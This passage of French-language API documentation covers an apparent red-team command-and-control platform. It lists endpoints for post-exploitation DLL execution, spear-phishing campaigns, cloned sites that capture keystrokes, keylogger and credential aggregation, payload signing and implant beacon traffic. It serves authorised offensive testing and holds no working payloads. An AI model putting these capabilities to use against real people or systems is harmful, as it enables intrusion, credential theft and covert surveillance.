POST /api/v1/cockpit/postex/execute Exécuter une DLL post-exploitation
POST /api/v1/cockpit/postex/send Envoyer des données à une tâche Postex en cours d'exécution

Topologie, machines et playbooks

Méthode Chemin Description
GET /api/v1/cockpit/topology Obtenez la topologie du réseau en direct
GET /api/v1/cockpit/machines/:hostname Obtenir les détails de la machine par nom d'hôte
GET /api/v1/cockpit/playbooks Répertorier tous les playbooks
POST /api/v1/cockpit/playbooks Créer un playbook
GET /api/v1/cockpit/playbooks/:id Obtenir les détails du playbook
PUT /api/v1/cockpit/playbooks/:id Mettre à jour un playbook
DELETE /api/v1/cockpit/playbooks/:id Supprimer un playbook
POST /api/v1/cockpit/playbooks/:id/execute Exécuter un playbook

Requêtes LDAP

Méthode Chemin Description
POST /api/v1/cockpit/ldap/query Exécuter une requête LDAP via un beacon
GET /api/v1/cockpit/ldap/templates Obtenez des modèles de requêtes LDAP prédéfinis

Recherche d'erreurs Windows

Méthode Chemin Description
GET /api/v1/cockpit/winerror/stats Statistiques de la base de données des codes d'erreur Windows
GET /api/v1/cockpit/winerror/lookup/:code Rechercher un code d'erreur Windows

Profils

Les profils C2 malléables définissent l'apparence du trafic des implants sur le fil.

Méthode Chemin Description
POST /api/v1/profiles Créer un profil
GET /api/v1/profiles Lister tous les profils
GET /api/v1/profiles/:id Obtenir les détails du profil
PUT /api/v1/profiles/:id Mettre à jour un profil
DELETE /api/v1/profiles/:id Supprimer un profil
POST /api/v1/profiles/lint Valider un profil pour les erreurs de syntaxe
# Lint a profile before saving
curl -s -X POST https://stentor.app/api/v1/profiles/lint \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"content": "http-get { set uri \"/updates\"; ... }"}'

Certificats

Certificats de signature de code pour la signature de payload.

Méthode Chemin Description
POST /api/v1/certificates Télécharger un certificat
GET /api/v1/certificates Lister tous les certificats
GET /api/v1/certificates/:id Obtenir les détails du certificat
DELETE /api/v1/certificates/:id Supprimer un certificat
POST /api/v1/sign Signer un payload avec un certificat

Phishing

Gestion de campagnes de spear phishing.

Méthode Chemin Description
GET /api/v1/phishing/campaigns Répertorier les campagnes de phishing
POST /api/v1/phishing/campaigns Créer une campagne
GET /api/v1/phishing/campaigns/:id Obtenir les détails de la campagne
DELETE /api/v1/phishing/campaigns/:id Supprimer une campagne
POST /api/v1/phishing/campaigns/:id/targets/import Importer des cibles depuis CSV
GET /api/v1/phishing/campaigns/:id/targets Répertorier les cibles de la campagne
POST /api/v1/phishing/campaigns/:id/send Envoyer des e-mails de phishing
POST /api/v1/phishing/campaigns/:id/attachments Télécharger la pièce jointe d'un e-mail
GET /api/v1/phishing/campaigns/:id/attachments Liste des pièces jointes
DELETE /api/v1/phishing/campaigns/:id/attachments/:attachmentId Supprimer la pièce jointe
POST /api/v1/phishing/campaigns/:id/preview Aperçu du rendu des e-mails
POST /api/v1/phishing/campaigns/:id/template/import Importer un e-mail à partir d'un fichier EML

Scripts

Gestion CNA (Aggressor Script) et console REPL.

Méthode Chemin Description
POST /api/v1/scripts/load Charger un script CNA
POST /api/v1/scripts/unload Décharger un script en cours d'exécution
POST /api/v1/scripts/reload Recharger un script
GET /api/v1/scripts Liste des scripts chargés
POST /api/v1/scripts/eval/x Évaluer l'expression (commande x)
POST /api/v1/scripts/eval/e Évaluer le bloc de script (commande électronique)
POST /api/v1/scripts/eval/q État du script de requête (commande q)
GET /api/v1/scripts/help Obtenir le texte d'aide du script
POST /api/v1/scripts/tab-complete Complétion des onglets pour la console de script
GET /api/v1/scripts/menubars Récupérer les entrées de la barre de menus à partir des scripts
GET /api/v1/scripts/popups/:hook Obtenir les éléments du menu contextuel pour un hook
POST /api/v1/scripts/popups/execute Exécuter un élément de menu contextuel
POST /api/v1/scripts/dialog-response Soumettre une réponse de dialogue

Rallonges

Gestion des extensions de type Armory (packs BOF, outils tiers).

Méthode Chemin Description
GET /api/v1/extensions Liste des extensions installées
GET /api/v1/extensions/catalog Parcourez le catalogue d'extensions
GET /api/v1/extensions/:id Obtenir les détails de l'extension
POST /api/v1/extensions/install Installer l'extension à partir du catalogue
POST /api/v1/extensions/upload Téléchargez une extension personnalisée
DELETE /api/v1/extensions/:id Supprimer une extension
POST /api/v1/extensions/:id/update Mettre à jour une extension
POST /api/v1/extensions/:id/toggle Activer/désactiver une extension

Campagnes C2

Gestion opérationnelle des campagnes pour l'organisation des beacons, des listeners et du suivi de l'engagement.

Méthode Chemin Description
POST /api/v1/c2/campaigns Créer une campagne
GET /api/v1/c2/campaigns Lister toutes les campagnes
GET /api/v1/c2/campaigns/:id Obtenir les détails de la campagne
PUT /api/v1/c2/campaigns/:id Mettre à jour une campagne
DELETE /api/v1/c2/campaigns/:id Supprimer une campagne
POST /api/v1/c2/campaigns/:id/beacons Associer un beacon à une campagne
DELETE /api/v1/c2/campaigns/:id/beacons/:beaconId Dissocier un beacon
GET /api/v1/c2/campaigns/:id/beacons Liste des beacons de campagne
POST /api/v1/c2/campaigns/:id/listeners Associer un listener à la campagne
DELETE /api/v1/c2/campaigns/:id/listeners/:listenerId Dissocier un listener
GET /api/v1/c2/campaigns/:id/listeners Liste des listeners liés
GET /api/v1/c2/campaigns/:id/activity Obtenir le journal d'activité de la campagne
GET /api/v1/c2/campaigns/:id/credentials Obtenez les identifiants de la campagne
GET /api/v1/c2/campaigns/:id/export Exporter les données de la campagne
GET /api/v1/c2/campaigns/:id/report/social-eng Générer un rapport d'ingénierie sociale
POST /api/v1/c2/campaigns/:id/report/custom Exécuter un modèle de rapport personnalisé
POST /api/v1/c2/campaigns/:id/report/validate-template Valider un modèle de rapport
POST /api/v1/c2/campaigns/:id/record-mode Définir le mode d'enregistrement

Cibles

Hôtes découverts sur le réseau.

Méthode Chemin Description
GET /api/v1/targets Lister toutes les cibles
POST /api/v1/targets Créer une cible
POST /api/v1/targets/batch Créer des cibles par lots
POST /api/v1/targets/import/nmap Importer des cibles depuis Nmap XML
PUT /api/v1/targets/bulk-os Mettre à jour en bloc les informations du système d'exploitation
GET /api/v1/targets/:id Obtenir les détails de la cible
PUT /api/v1/targets/:id/note Mettre à jour la note sur la cible
DELETE /api/v1/targets/:id Supprimer une cible

Prestations

Services réseau découverts (ports, protocoles).

Méthode Chemin Description
GET /api/v1/services Lister tous les services
POST /api/v1/services Créer une entrée de service
PUT /api/v1/services/:id/note Mettre à jour la note de service
DELETE /api/v1/services/:id Supprimer un service

Téléchargements

Historique de téléchargement centralisé pour les fichiers récupérés à partir des beacons.

Méthode Chemin Description
GET /api/v1/downloads Lister tous les téléchargements
DELETE /api/v1/downloads/:id Supprimer un enregistrement de téléchargement

Frappes

Résultats agrégés du keylogger sur toutes les beacons.

Méthode Chemin Description
GET /api/v1/keystrokes Répertorier toutes les frappes capturées
GET /api/v1/keystrokes/captured Répertorier toutes les frappes clavier des sites clonés

Captures d'écran

Résultats de capture d'écran agrégés sur toutes les beacons.

Méthode Chemin Description
GET /api/v1/screenshots Liste toutes les captures d'écran capturées

Sites clonés

Clonage de sites pour le phishing et la livraison de payloads.

Méthode Chemin Description
POST /api/v1/sites Créer un site cloné
GET /api/v1/sites Liste des sites clonés
GET /api/v1/sites/:id Obtenez les détails du site cloné
GET /api/v1/sites/:id/keystrokes Répertorier les frappes capturées à partir du site
DELETE /api/v1/sites/:id Supprimer un site cloné

Profileur de système

Reconnaissance cible via le profilage du navigateur.

Méthode Chemin Description
GET /api/v1/profiler/visits Liste des visites du profileur
POST /api/v1/profiler/visits Enregistrer une visite
GET /api/v1/profiler/stats Obtenir les statistiques du profileur
DELETE /api/v1/profiler/visits Effacer toutes les visites

Trousses

Gestion des modèles du kit d’artefacts, du kit de ressources et du kit de masque de sommeil.

Méthode Chemin Description
POST /api/v1/kits/upload Télécharger un modèle de kit
GET /api/v1/kits Lister tous les kits
GET /api/v1/kits/artifact Exporter le kit d'artefacts
GET /api/v1/kits/:id Obtenir le kit par ID
GET /api/v1/kits/:id/download Télécharger le fichier du kit
DELETE /api/v1/kits/:id Supprimer un kit

Guacamole (accès VM)

Intégration d'Apache Guacamole pour l'accès à distance aux machines virtuelles du laboratoire.

Méthode Chemin Description
GET /api/v1/guacamole/connections Liste des connexions
POST /api/v1/guacamole/connections Créer une connexion
GET /api/v1/guacamole/connections/:id Obtenir les détails de la connexion
GET /api/v1/guacamole/connections/:id/session Obtenez une session active
DELETE /api/v1/guacamole/connections/:id Supprimer une connexion

Préférences de l'opérateur

Paramètres par opérateur avec stockage JSONB.

Méthode Chemin Description
GET /api/v1/preferences Obtenir les préférences de l'opérateur
PUT /api/v1/preferences Mettre à jour les préférences
POST /api/v1/preferences/logo Télécharger un logo personnalisé
GET /api/v1/preferences/logo Obtenez un logo personnalisé
DELETE /api/v1/preferences/logo Supprimer le logo personnalisé

Piste d'audit

Journal d'audit pour les actions de l'opérateur (administrateur uniquement pour la liste).

Méthode Chemin Description
GET /api/v1/audit/events Répertorier les événements d'audit

Statistiques

L’agrégation de la barre latérale compte.

Méthode Chemin Description
GET /api/v1/stats/counts Obtenez le nombre de barres latérales (beacons, listeners, sessions, etc.)

Administrateur

Points de terminaison de gestion des données administratives.

Méthode Chemin Description
POST /api/v1/admin/data/clear Effacer les données par catégorie (administrateur uniquement)
GET /api/v1/admin/data/categories Obtenir les catégories de données disponibles

Profils C2 (anciens)

Liste de profils C2 basée sur des fichiers (utilisée par l'assistant de génération de payload).

Méthode Chemin Description
GET /api/v1/c2/profiles Répertorier les profils C2 basés sur des fichiers

Points de terminaison du protocole C2

Usage interne uniquement

Ces points de terminaison sont utilisés par le relais et l'implant pour la communication C2. Ils ne sont pas authentifiés via JWT : le relais utilise un secret partagé et l'implant utilise un échange de clés cryptées. N’appelez pas ces points de terminaison à partir des outils opérateur.

Méthode Chemin Description
POST /api/v1/c2/beacon Enregistrement par beacon (battement de coeur)
POST /api/v1/c2/task Récupérer les tâches en attente
POST /api/v1/c2/result Soumettre les résultats de la tâche
GET /api/v1/c2/pubkey Obtenez la clé publique RSA pour l'échange de clés
POST /api/v1/c2/keyx Effectuer un échange de clés (RSA-OAEP + AES-256-GCM)

Relais WebSocket

Le relais se connecte au backend via WebSocket pour le transfert C2 en temps réel.

Chemin Description
GET /ws/relay Agent de relais WebSocket (authentifié via l'en-tête secret de relais)

Ce point de terminaison n'est pas appelé par les opérateurs. Consultez la page WebSocket Protocol pour le CockpitHub WebSocket destiné à l'opérateur.